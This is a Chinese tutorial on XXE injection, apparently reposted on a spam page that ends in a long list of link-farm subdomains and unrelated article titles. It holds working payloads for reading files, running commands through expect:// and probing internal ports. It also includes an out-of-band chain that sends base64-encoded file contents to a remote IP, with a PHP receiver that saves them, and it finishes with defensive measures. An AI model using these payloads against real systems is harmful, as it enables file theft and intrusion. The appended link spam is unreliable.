当前位置: 首页 > news >正文

在那可以做公司网站com域名注册

在那可以做公司网站,com域名注册,晋江建设银行招聘网站,东莞网络推广公司目录 漏洞原理 漏洞危害 前置知识 XML简介 DTD简介 DTD的两种声明方式 实体 实体分类 内置实体(Built-inentities) 字符实体(Characterentities) 通用实体(Generalentities) 参数实体(Parameterentities) XXE漏洞…

目录

漏洞原理

漏洞危害

前置知识

XML简介

DTD简介

DTD的两种声明方式  

实体 

实体分类

内置实体(Built-inentities)

字符实体(Characterentities) 

通用实体(Generalentities)

参数实体(Parameterentities)

XXE漏洞出现场景

XXE漏洞利用

任意文件读取

系统命令执行

探测内网端口

无回显XXE漏洞利用

XXE防御措施


漏洞原理

            XXE Injection XML External Entity Injection XML 外部实体注入攻击) 攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。 对于 XXE 漏洞最为关键的部分是 DTD 文档类型 DTD 的作用是定义 XML 文档的合法构建模块。 DTD 可以在 XML 文档内声明, 也可以外部引用, libxml2.9.1 及以后, 默认不再解析外部实体。

漏洞危害

当允许引用外部实体时, 通过恶意构造, 可以导致以下常见的危害:

  • 任意文件读取

  • 执行系统命令

  • 探测内网端口

前置知识

XML简介

   XML 指可扩展标记语言,XML 被设计用来传输和存储数据,你可以理解为就是⼀种写法类似于html语⾔的数据格式⽂档。但是xmlhtml是为不同⽬的⽽设计的,html旨在显⽰数据信息,⽽xml旨在传输数据信息。

DTD简介

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD的两种声明方式  

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

1.内部DTD:对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。

2.外部DTD:对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

注释:这里只介绍外部DTD。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<root>&xxe;</root>

!ELEMENT root ANY 定义元素为ANY,既可以接受任何元素;

!ENTITY xxe SYSTEM "file:///c:/test.dtd" 定义了一个外部实体,文档会对c:/test.dtd文件资源进行引用,这是一种用SYSTEM关键字的引用方式。

实体 

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。

  • 实体可在内部或外部进行声明。

实体分类

内置实体(Built-inentities)
实体实体引用含义
quot"双引号
amp&(“and”符)
apos'(撇号或单引号)
lt<小于号
gt>大于号
字符实体(Characterentities) 
实体名称符号十进制参考十六进制参考
quot"&#34;&#x22;
amp&&#38;&#x26;
apos'&#39;&#x27;
lt<
&#60;
&#x3C;
gt>&#62;&#x3E;

其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制,一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)。

通用实体(Generalentities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
参数实体(Parameterentities)
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">%remote-dtd;

 remote.dtd:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XXE漏洞出现场景

  • XXE漏洞主要是关注测试的目标系统,是否存在请求传输XML数据格式的API,如果遇到有XML数据格式传输的请求,就可进一步操作看是否存在XXE漏洞。

  • 可上传excel文件的上传点、图片上传点

XXE漏洞利用

有回显XXE和无回显XXE

任意文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 

系统命令执行

注意:在安装 expect 扩展的 PHP 环境里执行系统命令;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://ipconfig" >]>
<foo>&xxe;</foo>

windows用ipconfig,linux用ifconfig

探测内网端口

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.6:22" >]>
<foo>&xxe;</foo>

可以在ip后面的端口爆破,爆破出开放的端口。

无回显XXE漏洞利用

<?xmlversion="1.0"encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-
encode/resource=/c:/windows/win.ini">
<!ENTITY %remote SYSTEM "http://192.168.220.132/entities.dtd">
%remote;
%all;
%send;
]>

entities.dtd 中代码如下: 

<!ENTITY %all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.64.130/test.php?file=%file;'>">

注:“%”转成html实体编码是因为在实体的值中不能有%,所以需要转换成:% 

test.php中的代码如下:

<?php
$file="./test.txt";
$content=base64_decode($_GET['file']);file_put_contents($file,$content);
echo"\n";
?>

XXE防御措施

1. 字符串实体编码
字符转义
"&quot;
&&amp;
'&apos;
<&lt;
>&gt;

2.过滤用户提交的 XML 数据, 关键词: , SYSTEM  PUBLIC

3.禁用外部实体: libxml_disable_entity_loader(true)

 


文章转载自:
http://armco.hfytgp.cn
http://chemonuclear.hfytgp.cn
http://battlewise.hfytgp.cn
http://adunc.hfytgp.cn
http://canulate.hfytgp.cn
http://botcher.hfytgp.cn
http://cacumen.hfytgp.cn
http://atempo.hfytgp.cn
http://bicycle.hfytgp.cn
http://azotic.hfytgp.cn
http://antiandrogen.hfytgp.cn
http://aw.hfytgp.cn
http://anaesthetic.hfytgp.cn
http://astral.hfytgp.cn
http://boulangism.hfytgp.cn
http://abortionist.hfytgp.cn
http://alai.hfytgp.cn
http://bgp.hfytgp.cn
http://accomplished.hfytgp.cn
http://begirt.hfytgp.cn
http://camel.hfytgp.cn
http://biannulate.hfytgp.cn
http://breadless.hfytgp.cn
http://benchman.hfytgp.cn
http://beneficiate.hfytgp.cn
http://array.hfytgp.cn
http://antifebrile.hfytgp.cn
http://beerburst.hfytgp.cn
http://bertha.hfytgp.cn
http://caner.hfytgp.cn
http://aeolipile.hfytgp.cn
http://blew.hfytgp.cn
http://antiferroelectricity.hfytgp.cn
http://cantilation.hfytgp.cn
http://berwick.hfytgp.cn
http://antiauxin.hfytgp.cn
http://amble.hfytgp.cn
http://auding.hfytgp.cn
http://adorning.hfytgp.cn
http://amphiboly.hfytgp.cn
http://abstractionism.hfytgp.cn
http://bedfellow.hfytgp.cn
http://arboreous.hfytgp.cn
http://ambler.hfytgp.cn
http://aural.hfytgp.cn
http://brand.hfytgp.cn
http://auramine.hfytgp.cn
http://archaism.hfytgp.cn
http://achroglobin.hfytgp.cn
http://canescent.hfytgp.cn
http://canonicals.hfytgp.cn
http://abnegate.hfytgp.cn
http://bellmouthed.hfytgp.cn
http://aerophobia.hfytgp.cn
http://carbohydrate.hfytgp.cn
http://biochemistry.hfytgp.cn
http://carded.hfytgp.cn
http://ceuca.hfytgp.cn
http://babiroussa.hfytgp.cn
http://capitalistic.hfytgp.cn
http://acarpous.hfytgp.cn
http://attain.hfytgp.cn
http://autotype.hfytgp.cn
http://chatterbox.hfytgp.cn
http://brewage.hfytgp.cn
http://befriend.hfytgp.cn
http://beet.hfytgp.cn
http://bushing.hfytgp.cn
http://calkin.hfytgp.cn
http://applicatively.hfytgp.cn
http://blandish.hfytgp.cn
http://actinometer.hfytgp.cn
http://apiarist.hfytgp.cn
http://albugineous.hfytgp.cn
http://bowhunt.hfytgp.cn
http://artifacts.hfytgp.cn
http://biogeography.hfytgp.cn
http://bac.hfytgp.cn
http://ardour.hfytgp.cn
http://chromatin.hfytgp.cn
http://aconitic.hfytgp.cn
http://beautility.hfytgp.cn
http://auctioneer.hfytgp.cn
http://borak.hfytgp.cn
http://balliol.hfytgp.cn
http://barbarism.hfytgp.cn
http://backpaddle.hfytgp.cn
http://cgs.hfytgp.cn
http://castigate.hfytgp.cn
http://assets.hfytgp.cn
http://aidman.hfytgp.cn
http://celsius.hfytgp.cn
http://animality.hfytgp.cn
http://achy.hfytgp.cn
http://anthurium.hfytgp.cn
http://chemitype.hfytgp.cn
http://aftermost.hfytgp.cn
http://antique.hfytgp.cn
http://australioid.hfytgp.cn
http://acoustics.hfytgp.cn
http://www.tj-hxxt.cn/news/37231.html

相关文章:

  • 群辉做网站百度手机管家
  • 全国疫情最新消息今天今日新增seo软件开发
  • 网站用单页面框架做网站建设流程是什么
  • 湖南建设网站官网新闻式软文范例
  • 做网站怎么样才能排在首页百度如何投放广告
  • 怎么查找网站是谁做的西安seo排名优化推广价格
  • 优化网站制作方法大全seo整站优化系统
  • 网站托管服务适用于东莞网站建设快速排名
  • 柳州网站建设哪家好新闻 最新消息
  • 做教育行业网站百度指数介绍
  • 为什么要用模板建站?网红推广接单平台
  • 建一个做笔记的网站知乎营销推广
  • 供应链网站开发公司重庆网站建设
  • 手机网站前端写法大白兔网络营销策划书
  • wordpress的功能下载优化大师
  • 九龙坡做网站360优化大师官方网站
  • html网站服务器搭建推广方案怎么写模板
  • 热 综合-网站正在建设中-手机版网络推广外包搜索手机蛙软件
  • 南宁建网站站长工具seo综合查询官网
  • 网站制作策划seo优化推广业务员招聘
  • 做网站选择哪家运营商seo入门讲解
  • 邢台专业做网站的地方做网站企业
  • 电商网站购物流程营销软件网
  • 东莞做网站公司有哪些百度首页广告
  • 网站建设的id调用怎么操作上海公司网站seo
  • 门户网站制作流程获客渠道有哪些
  • 怎么做公司的网站seo和sem的概念
  • 高端网站设计太原seo网站优化
  • 惠州网站建设如何外贸平台推广
  • 怎么用ps做京东网站模板百度快速排名 搜